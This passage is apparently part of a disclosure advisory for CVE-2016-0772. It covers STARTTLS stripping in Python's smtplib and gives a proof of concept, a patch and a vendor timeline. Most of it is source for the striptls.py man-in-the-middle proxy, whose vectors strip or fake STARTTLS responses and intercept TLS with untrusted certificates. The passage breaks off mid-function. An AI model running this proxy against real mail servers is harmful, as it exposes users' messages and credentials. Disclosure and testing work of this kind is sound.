ssl.wrap_socket(self.sock, keyfile, certfile)\r\n\t self.file = SSLFakeFile(self.sock)\r\n\t # RFC 3207:\r\n\t # The client MUST discard any knowledge obtained from\r\n\t # the server, such as the list of SMTP service extensions,\r\n\t # which was not obtained from the TLS negotiation itself.\r\n\t self.helo_resp = None\r\n\t self.ehlo_resp = None\r\n\t self.esmtp_features = {}\r\n\t self.does_esmtp = 0\r\n\t return (resp, reply)\t\t\t\t\t\t\t\t\t\t\t\t//#! to actually detect this a client would have to manually check resp==220\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//#! or that the socket was turned into an SSLSock object\r\n\r\nProof of Concept\r\n----------------\r\n\r\n1. start `striptls.py` proxy\r\n\r\n\t\t#> python striptls/striptls.py -l 0.0.0.0:9999 -r remote.mailserver.tld:25 -x SMTP.StripWithInvalidResponseCode\r\n\t\t\r\n\t\t - INFO - <Proxy 0x1f04910 listen=('0.0.0.0', 9999) target=('remote.mailserver.tld', 25)> ready.\r\n\t\t - DEBUG - * added test (port:25 , proto: SMTP): <class __main__.StripWithInvalidResponseCode at 0x020F85E0>\r\n\t\t - INFO - <RewriteDispatcher vectors={25: set([<class __main__.StripWithInvalidResponseCode at 0x020F85E0>])}>\r\n\r\n2. send mail using `smtplib` (starttls)\r\n\r\n\t\timport smtplib\r\n\t\tserver = smtplib.SMTP('localhost', port=9999)\r\n\t\tserver.set_debuglevel(1)\r\n\t\tserver.ehlo()\r\n\t\tprint server.esmtp_features\r\n\t\tserver.starttls()\r\n\t\tserver.sendmail(\"a@b.com\", \"b@a.com\", \"From: a@b.com\\r\\nTo: b@a.com\\r\\n\\r\\n\")\r\n\t\tserver.quit()\r\n\r\n3. watch `striptls.py` fake the server response with `resp=200` instead of `resp=220`, not forwarding the message to the server. This effectively strips starttls. `smtplib` keeps sending in plaintext with no indication to the client code that starttls negotiation actually failed.\r\n\r\n\t\t - DEBUG - <ProtocolDetect 0x1f25530 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)\r\n\t\t - INFO - <Session 0x1f0ea50> client ('127.0.0.1', 59687) has connected\r\n\t\t - INFO - <Session 0x1f0ea50> connecting to target ('remote.mailserver.tld', 25)\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server] '220 mailserver.tld (msrv002) Nemesis ESMTP Service ready\\r\\n'\r\n\t\t - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithInvalidResponseCode new: True>\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [x.x.x.x]\\r\\n250-SIZE 3\t1457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server] 'STARTTLS\\r\\n'\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server][mangled] '200 STRIPTLS\\r\\n'\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server][mangled] None\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server] 'mail FROM:<a@b.com> size=10\\r\\n'\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server] '530 Authentication required\\r\\n'\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server] 'rset\\r\\n'\r\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250 OK\\r\\n'\r\n\t\t - WARNING - <Session 0x1f0ea50> terminated.\r\n\r\nPatch\r\n-------\r\n\r\n* raise an exception if the server replies with an unexpected return-code to an explicit call for `smtplib.starttls()`.\r\n\t\r\n\t\t#https://github.com/python/cpython <master> diff --git a/Lib/smtplib.py b/Lib/smtplib.py index 4756973..dfbf5f9 100755\r\n\t\t--- a/Lib/smtplib.py\r\n\t\t+++ b/Lib/smtplib.py\r\n\t\t@@ -773,6 +773,11 @@ class SMTP:\r\n\t\t self.ehlo_resp = None\r\n\t\t self.esmtp_features = {}\r\n\t\t self.does_esmtp = 0\r\n\t\t+ else:\r\n\t\t+ # RFC 3207:\r\n\t\t+ # 501 Syntax error (no parameters allowed)\r\n\t\t+ # 454 TLS not available due to temporary reason\r\n\t\t+ raise SMTPResponseException(resp, reply)\r\n\t\t return (resp, reply)\r\n\t\t\r\n\t\t def sendmail(self, from_addr, to_addrs, msg, mail_options=[],\r\n\r\nNotes\r\n-----\r\n\r\nVendor response: see [8,9,10]\r\n\r\nTimeline:\r\n\t\r\n\t11/25/2015\tcontact psrt; provided details, PoC, proposed patch\r\n\t12/01/2016\tresponse, initial analysis\r\n\t01/29/2016\trequest ETA, bugref\r\n\t02/01/2016\tpsrt assigned CVE-2016-0772\r\n\t02/12/2016\tresponse: will be addressed in upcoming 2.7, 3.5\r\n\t02/13/2016 request ETA; response: no exact date\r\n\t03/29/2016\trequest ETA; response: generic bounce message\r\n\t05/12/2016 request ETA; no response\r\n\t05/27/2016 request ETA; response: no exact date\r\n\t06/12/2016 request ETA;\r\n\t06/14/2016\tresponse: ETA ~ June 26th\r\n\t06/14/2016 vendor announcement [9]\r\n\r\nReferences\r\n---------\r\n\r\n\t[1] https://www.python.org/\r\n\t[2] https://www.python.org/downloads/\r\n\t[3] https://github.com/python/cpython/blob/2.7/Lib/smtplib.py\r\n\t[4] https://en.wikipedia.org/wiki/Python_(programming_language)\r\n\t[5] https://docs.python.org/2/library/smtplib.html#smtplib.SMTP.starttls\r\n\t[6] https://github.com/tintinweb/striptls\r\n\t[7] https://docs.python.org/2/library/smtplib.html\r\n\t[8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772\r\n\t[9] http://www.openwall.com/lists/oss-security/2016/06/14/9\r\n\t[10] https://access.redhat.com/security/cve/cve-2016-0772\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#! /usr/bin/env python\r\n# -*- coding: UTF-8 -*-\r\n# Author : <github.com/tintinweb>\r\n# see: https://github.com/tintinweb/striptls\r\n# pip install striptls\r\n#\r\n'''\r\n inbound outbound\r\n[inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target]\r\n'''\r\nimport sys\r\nimport os\r\nimport logging\r\nimport socket\r\nimport select\r\nimport ssl\r\nimport time\r\nimport re\r\n\r\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)-8s - %(message)s')\r\nlogger = logging.getLogger(__name__)\r\n\r\nclass SessionTerminatedException(Exception):pass\r\nclass ProtocolViolationException(Exception):pass\r\n\r\nclass TcpSockBuff(object):\r\n ''' Wrapped Tcp Socket with access to last sent/received data '''\r\n def __init__(self, sock, peer=None):\r\n self.socket = None\r\n self.socket_ssl = None\r\n self.recvbuf = ''\r\n self.sndbuf = ''\r\n self.peer = peer\r\n self._init(sock)\r\n \r\n def _init(self, sock):\r\n self.socket = sock\r\n \r\n def connect(self, target=None):\r\n target = target or self.peer\r\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n return self.socket.connect(target)\r\n \r\n def accept(self):\r\n return self.socket.accept()\r\n \r\n def recv(self, buflen=8*1024, *args, **kwargs):\r\n if self.socket_ssl:\r\n chunks = []\r\n chunk = True\r\n data_pending = buflen\r\n while chunk and data_pending:\r\n chunk = self.socket_ssl.read(data_pending)\r\n chunks.append(chunk)\r\n data_pending = self.socket_ssl.pending()\r\n self.recvbuf = ''.join(chunks)\r\n else:\r\n self.recvbuf = self.socket.recv(buflen, *args, **kwargs)\r\n return self.recvbuf\r\n \r\n def recv_blocked(self, buflen=8*1024, timeout=None, *args, **kwargs):\r\n force_first_loop_iteration = True\r\n end = time.time()+timeout if timeout else 0\r\n while force_first_loop_iteration or (not timeout or time.time()<end):\r\n # force one recv otherwise we might not even try to read if timeout is too narrow\r\n try:\r\n return self.recv(buflen=buflen, *args, **kwargs)\r\n except ssl.SSLWantReadError:\r\n pass\r\n force_first_loop_iteration = False\r\n \r\n def send(self, data, retransmit_delay=0.1):\r\n if self.socket_ssl:\r\n last_exception = None\r\n for _ in xrange(3):\r\n try:\r\n self.socket_ssl.write(data)\r\n last_exception = None\r\n break\r\n except ssl.SSLWantWriteError,swwe:\r\n logger.warning(\"TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s\"%(_,retransmit_delay,repr(swwe)))\r\n last_exception = swwe\r\n time.sleep(retransmit_delay)\r\n if last_exception:\r\n raise last_exception\r\n else:\r\n self.socket.send(data)\r\n self.sndbuf = data\r\n \r\n def sendall(self, data):\r\n if self.socket_ssl:\r\n self.send(data)\r\n else:\r\n self.socket.sendall(data)\r\n self.sndbuf = data\r\n \r\n def ssl_wrap_socket(self, *args, **kwargs):\r\n if len(args)>=1:\r\n args[1] = self.socket\r\n if 'sock' in kwargs:\r\n kwargs['sock'] = self.socket\r\n if not args and not kwargs.get('sock'):\r\n kwargs['sock'] = self.socket\r\n self.socket_ssl = ssl.wrap_socket(*args, **kwargs)\r\n self.socket_ssl.setblocking(0) # nonblocking for select\r\n \r\n def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs):\r\n if len(args)>=1:\r\n args[1] = self.socket\r\n if 'sock' in kwargs:\r\n kwargs['sock'] = self.socket\r\n if not args and not kwargs.get('sock'):\r\n kwargs['sock'] = self.socket\r\n self.socket_ssl = ctx.wrap_socket(*args, **kwargs)\r\n self.socket_ssl.setblocking(0) # nonblocking for select\r\n \r\nclass ProtocolDetect(object):\r\n PROTO_SMTP = 25\r\n PROTO_XMPP = 5222\r\n PROTO_IMAP = 143\r\n PROTO_FTP = 21\r\n PROTO_POP3 = 110\r\n PROTO_NNTP = 119\r\n PROTO_IRC = 6667\r\n PROTO_ACAP = 675\r\n PROTO_SSL = 443\r\n \r\n PORTMAP = {25: PROTO_SMTP,\r\n 5222:PROTO_XMPP,\r\n 110: PROTO_POP3,\r\n 143: PROTO_IMAP,\r\n 21: PROTO_FTP,\r\n 119: PROTO_NNTP,\r\n 6667: PROTO_IRC,\r\n 675: PROTO_ACAP\r\n }\r\n \r\n KEYWORDS = ((['ehlo', 'helo','starttls','rcpt to:','mail from:'], PROTO_SMTP),\r\n (['xmpp'], PROTO_XMPP),\r\n (['. capability'], PROTO_IMAP),\r\n (['auth tls'], PROTO_FTP)\r\n )\r\n \r\n def __init__(self, target=None):\r\n self.protocol_id = None\r\n self.history = []\r\n if target:\r\n self.protocol_id = self.PORTMAP.get(target[1])\r\n if self.protocol_id:\r\n logger.debug(\"%s - protocol detected (target port)\"%repr(self))\r\n \r\n def __str__(self):\r\n return repr(self.proto_id_to_name(self.protocol_id))\r\n \r\n def __repr__(self):\r\n return \"<ProtocolDetect %s protocol_id=%s len_history=%d>\"%(hex(id(self)), self.proto_id_to_name(self.protocol_id), len(self.history))\r\n \r\n def proto_id_to_name(self, id):\r\n if not id:\r\n return id\r\n for p in (a for a in dir(self) if a.startswith(\"PROTO_\")):\r\n if getattr(self, p)==id:\r\n return p \r\n\r\n def detect_peek_tls(self, sock):\r\n if sock.socket_ssl:\r\n raise Exception(\"SSL Detection for ssl socket ..whut!\")\r\n TLS_VERSIONS = {\r\n # SSL\r\n '\\x00\\x02':\"SSL_2_0\",\r\n '\\x03\\x00':\"SSL_3_0\",\r\n # TLS\r\n '\\x03\\x01':\"TLS_1_0\",\r\n '\\x03\\x02':\"TLS_1_1\",\r\n '\\x03\\x03':\"TLS_1_2\",\r\n '\\x03\\x04':\"TLS_1_3\",\r\n }\r\n TLS_CONTENT_TYPE_HANDSHAKE = '\\x16'\r\n SSLv2_PREAMBLE = 0x80\r\n SSLv2_CONTENT_TYPE_CLIENT_HELLO ='\\x01'\r\n \r\n peek_bytes = sock.recv(5, socket.MSG_PEEK)\r\n if not len(peek_bytes)==5:\r\n return\r\n # detect sslv2, sslv3, tls: one symbol is one byte; T .. type\r\n # L .. length \r\n # V .. version\r\n # 01234\r\n # detect sslv2 LLTVV T=0x01 ... MessageType.client_hello; L high bit set.\r\n # sslv3 TVVLL \r\n # tls TVVLL T=0x16 ... ContentType.Handshake\r\n v = None\r\n if ord(peek_bytes[0]) & SSLv2_PREAMBLE \\\r\n and peek_bytes[2]==SSLv2_CONTENT_TYPE_CLIENT_HELLO \\\r\n and peek_bytes[3:3+2] in TLS_VERSIONS.keys():\r\n v = TLS_VERSIONS.get(peek_bytes[3:3+2])\r\n logger.info(\"ProtocolDetect: SSL23/TLS version: %s\"%v)\r\n elif peek_bytes[0] == TLS_CONTENT_TYPE_HANDSHAKE \\\r\n and peek_bytes[1:1+2] in TLS_VERSIONS.keys():\r\n v = TLS_VERSIONS.get(peek_bytes[1:1+2]) \r\n logger.info(\"ProtocolDetect: TLS version: %s\"%v)\r\n return v\r\n \r\n\r\n def detect(self, data):\r\n if self.protocol_id:\r\n return self.protocol_id\r\n self.history.append(data)\r\n for keywordlist,proto in self.KEYWORDS:\r\n if any(k in data.lower() for k in keywordlist):\r\n self.protocol_id = proto\r\n logger.debug(\"%s - protocol detected (protocol messages)\"%repr(self))\r\n return\r\n \r\nclass Session(object):\r\n ''' Proxy session from client <-> proxy <-> server \r\n @param inbound: inbound socket\r\n @param outbound: outbound socket\r\n @param target: target tuple ('ip',port) \r\n @param buffer_size: socket buff size'''\r\n \r\n def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size=4096):\r\n self.proxy = proxy\r\n self.bind = proxy.getsockname()\r\n self.inbound = TcpSockBuff(inbound)\r\n self.outbound = TcpSockBuff(outbound, peer=target)\r\n self.buffer_size = buffer_size\r\n self.protocol = ProtocolDetect(target=target)\r\n self.datastore = {}\r\n \r\n def __repr__(self):\r\n return \"<Session %s [client: %s] --> [prxy: %s] --> [target: %s]>\"%(hex(id(self)),\r\n self.inbound.peer,\r\n self.bind,\r\n self.outbound.peer)\r\n def __str__(self):\r\n return \"<Session %s>\"%hex(id(self))\r\n \r\n def connect(self, target):\r\n self.outbound.peer = target\r\n logger.info(\"%s connecting to target %s\"%(self, repr(target)))\r\n return self.outbound.connect(target)\r\n \r\n def accept(self):\r\n sock, addr = self.proxy.accept()\r\n self.inbound = TcpSockBuff(sock)\r\n self.inbound.peer = addr\r\n logger.info(\"%s client %s has connected\"%(self,repr(self.inbound.peer)))\r\n return sock,addr\r\n \r\n def get_peer_sockets(self):\r\n return [self.inbound.socket, self.outbound.socket]\r\n \r\n def notify_read(self, sock):\r\n if sock == self.proxy:\r\n self.accept()\r\n self.connect(self.outbound.peer)\r\n elif sock == self.inbound.socket:\r\n # new client -> prxy - data\r\n self.on_recv_peek(self.inbound, self)\r\n self.on_recv(self.inbound, self.outbound, self)\r\n elif sock == self.outbound.socket:\r\n # new sprxy <- target - data\r\n self.on_recv(self.outbound, self.inbound, self)\r\n return \r\n \r\n def close(self):\r\n try:\r\n self.outbound.socket.shutdown(2)\r\n self.outbound.socket.close()\r\n self.inbound.socket.shutdown(2)\r\n self.inbound.socket.close()\r\n except socket.error, se:\r\n logger.warning(\"session.close(): Exception: %s\"%repr(se))\r\n raise SessionTerminatedException()\r\n \r\n def on_recv(self, s_in, s_out, session):\r\n data = s_in.recv(session.buffer_size)\r\n self.protocol.detect(data)\r\n if not len(data):\r\n return session.close()\r\n if s_in == session.inbound:\r\n data = self.mangle_client_data(session, data)\r\n elif s_in == session.outbound:\r\n data = self.mangle_server_data(session, data)\r\n if data:\r\n s_out.sendall(data)\r\n return data\r\n \r\n def on_recv_peek(self, s_in, session): pass\r\n def mangle_client_data(self, session, data, rewrite): return data\r\n def mangle_server_data(self, session, data, rewrite): return data\r\n \r\nclass ProxyServer(object):\r\n '''Proxy Class'''\r\n \r\n def __init__(self, listen, target, buffer_size=4096, delay=0.0001):\r\n self.input_list = set([])\r\n self.sessions = {} # sock:Session()\r\n self.callbacks = {} # name: [f,..]\r\n #\r\n self.listen = listen\r\n self.target = target\r\n #\r\n self.buffer_size = buffer_size\r\n self.delay = delay\r\n self.bind = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.bind.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n self.bind.bind(listen)\r\n self.bind.listen(200)\r\n \r\n def __str__(self):\r\n return \"<Proxy %s listen=%s target=%s>\"%(hex(id(self)),self.listen, self.target)\r\n\r\n def get_session_by_client_sock(self, sock):\r\n return self.sessions.get(sock)\r\n\r\n def set_callback(self, name, f):\r\n self.callbacks[name] = f\r\n\r\n def main_loop(self):\r\n self.input_list.add(self.bind)\r\n while True:\r\n time.sleep(self.delay)\r\n inputready, _, _ = select.select(self.input_list, [], [])\r\n \r\n for sock in inputready:\r\n if not sock in self.input_list: \r\n # Check if inputready sock is still in the list of socks to read from\r\n # as SessionTerminateException might remove multiple sockets from that list\r\n # this might otherwise lead to bad FD access exceptions\r\n continue\r\n session = None\r\n try:\r\n if sock == self.bind:\r\n # on_accept\r\n session = Session(sock, target=self.target)\r\n for k,v in self.callbacks.iteritems():\r\n setattr(session, k, v)\r\n session.notify_read(sock)\r\n for s in session.get_peer_sockets():\r\n self.sessions[s]=session\r\n self.input_list.update(session.get_peer_sockets())\r\n else:\r\n # on_recv\r\n try:\r\n session = self.get_session_by_client_sock(sock)\r\n session.notify_read(sock)\r\n except ssl.SSLError, se:\r\n if se.errno != ssl.SSL_ERROR_WANT_READ:\r\n raise\r\n continue\r\n except SessionTerminatedException:\r\n self.input_list.difference_update(session.get_peer_sockets())\r\n logger.warning(\"%s terminated.\"%session)\r\n except Exception, e:\r\n logger.error(\"main: %s\"%repr(e))\r\n if isinstance(e,IOError):\r\n for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith(\"_TLS_\")):\r\n if not os.path.isfile(value):\r\n logger.error(\"%s = %s - file not found\"%(kname, repr(value)))\r\n if session:\r\n logger.error(\"main: removing all sockets associated with session that raised exception: %s\"%repr(session))\r\n try:\r\n session.close()\r\n except SessionTerminatedException: pass\r\n self.input_list.difference_update(session.get_peer_sockets())\r\n elif sock and sock!=self.bind:\r\n # exception for non-bind socket - probably fine to close and remove it from our list\r\n logger.error(\"main: removing socket that probably raised the exception\")\r\n sock.close()\r\n self.input_list.remove(sock)\r\n else:\r\n # this is just super-fatal - something happened while processing our bind socket.\r\n raise \r\n\r\nclass Vectors:\r\n _TLS_CERTFILE = \"server.pem\"\r\n _TLS_KEYFILE = \"server.pem\"\r\n \r\n class GENERIC:\r\n _PROTO_ID = None\r\n class Intercept:\r\n '''\r\n proto independent msg_peek based tls interception\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite): return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite): return data\r\n @staticmethod\r\n def on_recv_peek(session, s_in):\r\n if s_in.socket_ssl:\r\n return\r\n\r\n ssl_version = session.protocol.detect_peek_tls(s_in)\r\n if ssl_version:\r\n logger.info(\"SSL Handshake detected - performing ssl/tls conversion\")\r\n try:\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n session.outbound.ssl_wrap_socket_with_context(context, server_side=False)\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n except Exception, e:\r\n logger.warning(\"Exception - not ssl intercepting outbound: %s\"%repr(e))\r\n \r\n @staticmethod\r\n def create_ssl_context(proto=ssl.PROTOCOL_SSLv23, \r\n verify_mode=ssl.CERT_NONE,\r\n protocols=None,\r\n options=None,\r\n ciphers=\"ALL\"):\r\n protocols = protocols or ('PROTOCOL_SSLv3','PROTOCOL_TLSv1',\r\n 'PROTOCOL_TLSv1_1','PROTOCOL_TLSv1_2')\r\n options = options or ('OP_CIPHER_SERVER_PREFERENCE','OP_SINGLE_DH_USE',\r\n 'OP_SINGLE_ECDH_USE','OP_NO_COMPRESSION')\r\n context = ssl.SSLContext(proto)\r\n context.verify_mode = verify_mode\r\n # reset protocol, options\r\n context.protocol = 0\r\n context.options = 0\r\n for p in protocols:\r\n context.protocol |= getattr(ssl, p, 0)\r\n for o in options:\r\n context.options |= getattr(ssl, o, 0)\r\n context.set_ciphers(ciphers)\r\n return context\r\n \r\n class InboundIntercept:\r\n '''\r\n proto independent msg_peek based tls interception\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n # peek again - make sure to check for inbound ssl connections\r\n # before forwarding data to the inbound channel\r\n # just in case server is faster with answer than client with hello\r\n # likely if smtpd and striptls are running on the same segment\r\n # and client is not.\r\n if not session.inbound.socket_ssl:\r\n # only peek if inbound is not in tls mode yet\r\n # kind of a hack but allow additional 0.1 secs for the client\r\n # to send its hello\r\n time.sleep(0.1)\r\n Vectors.GENERIC.InterceptInbound.on_recv_peek(session, session.inbound)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite): \r\n return data\r\n @staticmethod\r\n def on_recv_peek(session, s_in):\r\n if s_in.socket_ssl:\r\n return\r\n\r\n ssl_version = session.protocol.detect_peek_tls(s_in)\r\n if ssl_version:\r\n logger.info(\"SSL Handshake detected - performing ssl/tls conversion\")\r\n try:\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n except Exception, e:\r\n logger.warning(\"Exception - not ssl intercepting inbound: %s\"%repr(e))\r\n \r\n class SMTP:\r\n _PROTO_ID = 25\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data:\r\n features = [f for f in data.strip().split('\\r\\n') if not \"STARTTLS\" in f]\r\n if not features[-1].startswith(\"250 \"):\r\n features[-1] = features[-1].replace(\"250-\",\"250 \") # end marker\r\n data = '\\r\\n'.join(features)+'\\r\\n' \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithInvalidResponseCode:\r\n ''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can)\r\n 2) Respond to client STARTTLS with invalid response code\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data:\r\n features = list(data.strip().split(\"\\r\\n\"))\r\n features.insert(-1,\"250-STARTTLS\") # add STARTTLS from capabilities\r\n #if \"STARTTLS\" in data:\r\n # features = [f for f in features if not \"STARTTLS\" in f] # remove STARTTLS from capabilities\r\n data = '\\r\\n'.join(features)+'\\r\\n' \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"200 STRIPTLS\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"200 STRIPTLS\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithTemporaryError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"454 TLS not available due to temporary reason\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"454 TLS not available due to temporary reason\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"501 Syntax error\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"501 Syntax error\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"220 Go ahead\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"220 Go ahead\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n \r\n # outbound ssl\r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"220\" not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket() \r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class InboundStarttlsProxy:\r\n ''' Inbound is starttls, outbound is plain\r\n 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n # keep track of stripped server ehlo/helo\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data and not session.datastore.get(\"server_ehlo_stripped\"): #only do this once\r\n # wait for full line\r\n while not \"250 \" in data:\r\n data+=session.outbound.recv_blocked()\r\n \r\n features = [f for f in data.strip().split('\\r\\n') if not \"STARTTLS\" in f]\r\n if features and not features[-1].startswith(\"250 \"):\r\n features[-1] = features[-1].replace(\"250-\",\"250 \") # end marker\r\n # force starttls announcement\r\n session.datastore['server_ehlo_stripped']= '\\r\\n'.join(features)+'\\r\\n' # stripped\r\n \r\n if len(features)>1:\r\n features.insert(-1,\"250-STARTTLS\")\r\n else:\r\n features.append(\"250 STARTTLS\")\r\n features[0]=features[0].replace(\"250 \",\"250-\")\r\n data = '\\r\\n'.join(features)+'\\r\\n' # forced starttls\r\n session.datastore['server_ehlo'] = data\r\n \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"220 Go ahead\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"220 Go ahead\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # inbound ssl, fake server ehlo on helo/ehlo\r\n indata = session.inbound.recv_blocked()\r\n if not any(e in indata for e in ('ehlo','helo')):\r\n raise ProtocolViolationException(\"whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s\"%repr(indata))\r\n logger.debug(\"%s [client] => [ ][mangled] %s\"%(session,repr(indata)))\r\n session.inbound.sendall(session.datastore[\"server_ehlo_stripped\"])\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(session.datastore[\"server_ehlo_stripped\"])))\r\n data=None\r\n elif any(e in data for e in ('ehlo','helo')) and session.datastore.get(\"server_ehlo_stripped\"):\r\n # just do not forward the second ehlo/helo\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class ProtocolDowngradeStripExtendedMode:\r\n ''' Return error on EHLO to force peer to non-extended mode\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.lower().startswith(\"ehlo \"):\r\n 